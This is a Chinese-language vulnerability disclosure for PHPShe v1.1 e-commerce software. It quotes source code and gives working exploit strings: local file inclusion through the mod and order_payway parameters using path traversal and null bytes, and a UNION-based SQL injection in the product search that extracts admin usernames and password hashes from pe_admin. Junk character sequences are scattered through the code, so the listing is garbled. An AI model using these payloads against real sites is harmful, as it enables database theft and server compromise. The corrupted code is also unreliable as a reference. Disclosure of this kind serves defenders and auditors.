phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
4 r; S. G, L" j' ?: i# p4 j& h% R/* Phpshe v1.1 Vulnerability
/* ========================
# {# j' o* i7 _8 {/* By: : Kn1f3
/* E-Mail : 681796@qq.com
1 h' n( D9 U. s/*******************************************************/
0×00 整体大概参数传输



& p2 V- B, }4 K$ T& b3 {' M//common.php
- E& X3 v! P: ^if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
0 P# I2 s, w/ a# J5 H!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* H; a' [$ ]. F! @9 `6 E!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
, W$ ?( f% X8 l! Hsession_start();
7 e* k% \. g5 ?  g0 N* p+ c& F# t!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

9 c+ @+ M7 e+ S+ v3 K6 ~# x4 b0×01 包含漏洞
: ^, |. z7 {* j) x

//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
( ]  s0 l# y4 Dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
; l: `0 x$ A5 Aurl路由配置
$module = $mod = $act = 'index';
" ~  S  V1 Z1 g% {. z1 o$ R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ s) u# b- v! a+ `$ n1 e' r  j$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

- ]! Q4 w$ v9 ~
  V. o" {( b% s3 e3 V+ a 0×02 搜索注入

<code id="code2">

//product.php文件
1 E$ Z/ G. Y/ G4 wcase 'list':
$category_id = intval($id);
. z2 I. a0 ?# C% G, e: P$ \$info = $db->pe_select('category', array('category_id'=>$category_id));
! ]1 T$ @9 A5 c& \//搜索
: ?6 @1 q' o: G' _! F4 X; u$sqlwhere = " and `product_state` = 1";
( ?- w' j* g  Y/ _pe_lead('hook/category.hook.php');
( v$ ]4 a( _7 e' P" F' x; ]if ($category_id) {
2 p$ ^, M) i& ], ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
: b9 S( w1 s* E( f6 }$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
3 x& a7 Q2 J4 Y( H: p  T$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: l2 G6 D& n( d) B}
else {
1 ~* k) e  `, z! @$ R$sqlwhere .= " order by `product_id` desc";
}
7 r9 F# [& i/ u0 z2 a3 |$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ p  g. d+ S3 k/ i7 K$product_hotlist = product_hotlist();
2 r' F% q& j7 `8 z, z//当前路径
  d% J/ L  L7 x2 s; K$nowpath = category_path($category_id);
! n+ \( F8 m, T1 L7 x" N* f: x8 b$seo = pe_seo($info['category_name']);
5 B, T) G2 b- Y8 J  Zinclude(pe_tpl('product_list.html'));
2 K8 F) k- K2 Y& P) o//跟进selectall函数库
' q6 `+ [3 @2 a* b! V/ f  W" Zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
, o4 O% T7 z& {4 T$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ s1 \3 {' k$ Z}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
1 {& b0 ~1 j5 _7 P; E: m4 {/ m  N

</code>
0 u2 L  l; T. A6 _/ X) x6 V
0×03 包含漏洞2
) t, D% T& H' }
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

% z/ ?- \0 u$ L1 `foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

8 k! d9 _" N9 N$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

3 P. y. R7 s, `/ u2 q0 Q}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

; B1 Y  C8 S' Q& i* kif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

, G+ |, V; L2 P% A$order['order_name'] .= "{$v['product_name']};";
1 X, x0 j  w- H" T$ k& x. _) Y' k

. K; w# l; P6 H6 D+ Z+ D}

; y) C0 u0 {2 Q, n3 S# c. T" Eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

2 ~) T+ ^$ R; Y7 U) q1 f' t}

$seo = pe_seo('选择支付方式');

7 m+ y# T& \' M& Oinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>